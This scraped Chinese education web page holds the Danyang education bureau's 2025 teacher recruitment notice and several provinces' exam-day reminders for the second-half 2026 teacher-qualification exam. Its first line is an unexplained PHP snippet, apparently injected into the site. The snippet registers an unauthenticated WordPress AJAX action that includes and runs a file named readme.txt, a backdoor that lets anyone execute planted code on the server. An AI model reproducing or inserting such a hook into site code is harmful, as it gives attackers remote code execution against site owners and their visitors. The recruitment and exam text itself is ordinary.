if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
江苏镇江市丹阳市教育局所属部分学校2025年公开招聘优秀青年人才公告-全国教师资格考试网

江苏镇江市丹阳市教育局所属部分学校2025年公开招聘优秀青年人才公告

根据《事业单位公开招聘人员暂行规定》(人事部第6号令)、《江苏省事业单位公开招聘人员办法》(苏办发〔2020〕9号)精神,结合丹阳市教育事业发展需要,为选拔优秀人才,优化教师队伍结构,丹阳市教育局所属部分学校面向社会公开招聘优秀青年人才51名。现公告如下:

一、招聘对象和条件   

(一)具有中华人民共和国国籍,遵纪守法,拥护中国共产党领导和社会主义制度,品行端正,身心健康,无违纪和违法犯罪记录,热爱教育事业,具备正常履行岗位职责必备的身体条件和招聘岗位规定的具体资格条件。

(二)年龄在30周岁以下(1994年1月2日以后出生),博士研究生可放宽至35周岁以下(1989年1月2日以后出生)。依法退出现役的退役军人应聘,可放宽至40周岁。

(三)招聘岗位、人数和所要求的学历、专业等资格条件详见《丹阳市教育局所属部分学校2025年公开招聘优秀青年人才(南京考点)岗位表》《丹阳市教育局所属部分学校2025年公开招聘优秀青年人才(南京考点)专业参考目录》(附件1和附件2)。资格条件中的“2025年毕业生”,指在2025年毕业并取得学历(学位)证书,且无工作单位的人员。其中,能够提供《毕业生就业推荐表》(原件)的普通高校毕业生,取得学历(学位)证书的日期可放宽至2025年8月31日;国(境)外同期毕业人员,取得学历(学位)证书的日期可适当放宽,但须在2025年8月31日前完成教育部留学服务中心学历认证。

2023年和2024年普通高校毕业生,若仍未落实工作单位,其档案关系仍保留在原毕业学校,或保留在各级毕业生就业主管部门(毕业生就业指导服务中心)、人才交流服务机构和公共就业服务机构的,以及国(境)外同期毕业且已完成学历认证但仍未落实工作单位的人员,可应聘面向2025年毕业生岗位。

参加基层服务项目的人员,如参加服务项目前无工作经历,服务期满且考核合格后2年内的,可应聘面向2025年毕业生岗位。

以普通高校应届毕业生应征入伍服义务兵的人员,退役后1年内的,可应聘面向2025年毕业生岗位。

(四)博士研究生毕业并取得相应学位的人员,毕业届数不限。  

(五)除博士研究生外,其他人员须具备下列条件之一:

1.在高校就读期间,获得校级及以上奖学金1次;

2.在高校就读期间,获得相应学科校级师范生基本功大赛三等奖及以上奖项;

3.在高校就读期间,获得校级及以上“三好学生”、“优秀学生干部”或院(系)级及以上“优秀毕业生”荣誉;

(六)报考英语教师岗位须取得英语专业八级证书,证书取得时间可放宽至2025年8月31日。

(七)岗位要求具备的其他材料(如奖学金证明、三好学生证书等),须于报名前取得。

(八)下列人员不得报考:   

1.现役军人、普通高校在读非2025届毕业生;

2.《事业单位人事管理回避规定》明确应该回避的人员;

3.被依法列为失信联合惩戒对象的人员;

4.报名时,经公开招聘被江苏省地方各类事业单位聘用且规定服务期未满的在编(在册)人员、有规定(含协议明确)不得解聘离开现工作单位(岗位)的人员;

5.国家和江苏省另有规定不得应聘到事业单位或者有关岗位工作的人员。
  二、报名程序

(一)报名方式及时间

本次招聘采用网络报名,每人只能选择一个岗位进行报名。报名时间:2025年1月2日9:00-2025年1月8日16:00。

(二)报名材料(电子文档)

报名人员请在丹阳市人事考试中心网(http://www.dypxzx.cn)下载《丹阳市教育局所属学校2025年公开招聘优秀青年人才(南京考点)报名表》(附件3,下简称《报名表》),填写完整信息,插入《报名表》中指定材料原件的照片,在指定时间内发送到指定报名邮箱,材料清单如下:  

1.本人身份证;   

2.学历、学位等相关证明材料:

(1)2025年普通高校毕业生上传《毕业生就业推荐表》(须学校盖章)、学籍在线验证报告;本科阶段的毕业证书、学位证书(研究生报考人员);  

(2)2023年、2024年普通高校毕业生上传毕业证书、学位证书、学历证书电子注册备案表、学位证书电子注册备案表。

(3)2025年国(境)外应届毕业生须提供入学通知和所学课程目录;取得国(境)外学历学位的留学回国人员,须提供毕业证书及教育部留学回国人员学历认证;

3.教师资格证书(或教师资格证考试合格证明);

4.诚信承诺书(附件4);   

5.大学以来在校期间全部课程成绩单;

6.大学以来在校期间担任学生干部聘书、奖学金证书、各类奖励表彰证书及高中奥赛获奖证书(如有请提供)等证明材料。

留学回国人员的外文材料需译成中文版,中外文对照版本同时上传。

(三)报名邮箱:dyjyjjszp@163.com。

将报名表以报考岗位名称、岗位代码、本人姓名及手机号码命名(如高中语文001张三1390610XXXX)。报名期间需保持电话联系畅通。报名截止,丹阳市教育局将进行资格初审,并通过邮箱回复初审结果,请应聘人员及时登录邮箱查看。

(四)现场资格复审

报考人员通过资格初审后,应在2025年1月10日9:00-14:00到南京师范大学仙林校区仙林宾馆第一会议室(江苏省南京市栖霞区文苑路1号,从南师大仙林校区四号门进入)进行材料审核。审核时报名人员需携带身份证、报名表、所有材料原件及复印件,由丹阳市教育局根据本公告和《岗位表》中所要求的资格条件对应聘人员的报名信息进行资格审查。现场资格复审通过后收取材料复印件,原件均现场退回。

通过现场资格复审的,视为报名成功。凡弄虚作假的,一经查实,即取消应聘资格。资格审查贯穿招聘全过程。

(五)岗位核减、取消

各岗位开考比例详见《岗位表》。如岗位报名人数未达到开考比例,将在丹阳市人事考试中心网发布公告核减或取消该招聘岗位。

三、考试方式

考试采取初试、面试、笔试相结合的方式进行。各岗位成功报名人数若超过招聘计划数5倍的,考生须先进行初试,按初试成绩由高分到低分的顺序确定招聘计划数5倍以内的入围面试人选(末位同分则一并进入面试);各岗位成功报名人员若未超过招聘计划数(含)5倍的,考生直接进入面试。

(一)初试

初试时间(初定)2025年1月11日;初试具体时间和地点另行通知(应聘者须确保通讯畅通)。

初试主要测试考生的语言表达与沟通能力,初试满分为100分,初试合格线为70分(保留2位小数,第3位四舍五入计算),低于70分不得进入下一轮测试,初试成绩当场通知考生。初试成绩和入围面试的人员名单在初试结束后在丹阳市人事考试中心网公布,初试结果仅作为入围面试依据,不计入总分。

(二)面试

面试时间(初定)2025年1月12日;面试具体时间和地点另行通知(应聘者须确保通讯畅通)。

面试主要考察考生的教学能力等综合素质,包括试讲和答辩,满分为100分,面试合格分数线为70分(保留2位小数,第3位四舍五入计算),面试成绩低于70分者不得进入下一轮测试,面试成绩当场通知考生。进入笔试的考生名单将在面试结束后在丹阳市人事考试中心网公布。

(三)笔试

笔试时间(初定)2025年1月13日;笔试具体时间和地点另行通知(应聘者须确保通讯畅通)。

笔试内容为岗位专业知识和学科专业知识,总分为100分,笔试最低合格线为50分(保留2位小数,第3位四舍五入计算)。笔试成绩在丹阳市人事考试中心网公布。

(四)成绩计算

总成绩的计算方法:总成绩=面试成绩×70%+笔试成绩×30%;考试总成绩最低合格线为60分,达不到最低合格线者不予录取。如招聘岗位人数末位出现总成绩同分,以面试成绩高者入围;如面试成绩也相同,则加试确定名次。

考试工作结束7个工作日内在丹阳市人事考试中心网公布总成绩。

(五)组织实施

初试、面试和笔试由丹阳市教育局和丹阳市人事考试中心共同组织实施。

四、体检和考察

在总成绩合格分数线内的人员,按各岗位招聘人数1:1的比例由高分到低分确定体检、考察的人选。

招聘单位现场核验相应资格材料原件并与考生签订就业协议。因考生未能及时提供就业协议书导致不能现场签约的,须在规定时间内到招聘单位完成签约工作,逾期视同放弃签约聘用资格。

体检由丹阳市人事考试中心参照普通公务员录用体检标准组织进行。考察由丹阳市教育局参照普通公务员录用考察标准组织进行。

体检、考察合格人员须参加教育局统筹安排的跟岗实习,为期不少于4周,跟岗实习考核不合格者不予录用。

因体检、考察不合格以及弃权等原因出现招聘岗位空缺时,由丹阳市教育局提出是否递补的意见,并报丹阳市人力资源和社会保障局审核。如递补,在该岗位的成绩合格人员中,按总成绩从高到低的顺序依次递补。录用审批或备案后不再递补。

五、公示和聘用

体检、考察合格的拟聘用人员,经审核后,在丹阳市人事考试中心网公示7个工作日。公示期满无异议的,拟聘用人员按要求在规定时间到招聘单位报到,招聘单位按规定办理人员聘用手续。其中,001-009岗位由丹阳市教育局依据应聘人员的招聘考试总成绩、跟岗实习考核、岗位适应能力评价等得出综合成绩,由教育局按照综合成绩统筹安排聘用单位。010-018岗位由应聘人员按招聘考试总成绩从高分到低分的顺序,依次自主选择聘用单位。

有以下情况之一者,取消聘用资格:

1.对反映有违纪行为和弄虚作假等严重问题并查有实据,不符合聘用条件的,不予聘用。

2.拟录用人员名单公布后未按规定时间到聘用单位办理手续的,2025年应届毕业生于2025年8月31日前未取得报名资格条件中所要求的毕业证书、学位证书(2025年国(境)外应届毕业生须在2025年8月31日前完成教育部留学服务中心学历认证)、教师资格证书,取消聘用资格。

新聘用的人员实行“县管校聘”模式,须在丹阳市教育系统最低服务5年(含试用期),试用期按聘用制有关规定执行。试用期满考核合格的,予以定岗定级;不合格者取消聘用资格,解除聘用合同。服务期内,不得调离丹阳市教育系统。服务期满,原则上不得调动到教育系统外单位。

拟聘用人员名单公示后,应聘人员如无正当理由放弃聘用资格的,在名单公示结束后的3年内取消再次应聘本系统的资格。

六、其他事项

招聘录用的优秀人才,如符合我市《大学生“聚丹”计划》《“丹凤朝阳”教育领域高层次人才引进实施办法》条件的,按规定享受生活补贴、租房补贴、购房契税补贴、公积金贷款提额、购房补贴等相关待遇,从高从优不重复。

本次招聘不收取任何报考费用,不举办、不委托任何机构举办考试辅导培训班,也不指定任何参考用书和资料。社会上任何以事业单位考试命题组、专门培训机构等名义举办的辅导班、辅导网站或发行的出版物、参考资料、上网卡等,均与本次招聘无关。

招聘工作坚持“公开、平等、竞争、择优”的原则,并接受纪检监察部门和社会公众的监督。

报名咨询电话:丹阳市教育局18361417550,徐老师;15862969366,邱老师(工作日上午9:30-11:30,下午14:00-17:30);

监督电话:丹阳市教育局纪检监察组0511-86524609。

七、本公告由丹阳市教育局负责解释。

附件:

江苏镇江市丹阳市教育局所属部分学校2025年公开招聘优秀青年人才公告附件1:丹阳市教育局所属学校2025年公开招聘优秀青年人才岗位表(南京考点).xls

江苏镇江市丹阳市教育局所属部分学校2025年公开招聘优秀青年人才公告附件2:丹阳市教育局所属学校2025年公开招聘优秀青年人才专业参考目录(南京考点).xlsx

江苏镇江市丹阳市教育局所属部分学校2025年公开招聘优秀青年人才公告附件3:丹阳市教育局所属学校2025年公开招聘优秀青年人才报名表(南京考点).docx

江苏镇江市丹阳市教育局所属部分学校2025年公开招聘优秀青年人才公告附件4:诚信承诺书.docx

 

 

丹阳市教育局

2024年12月31日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部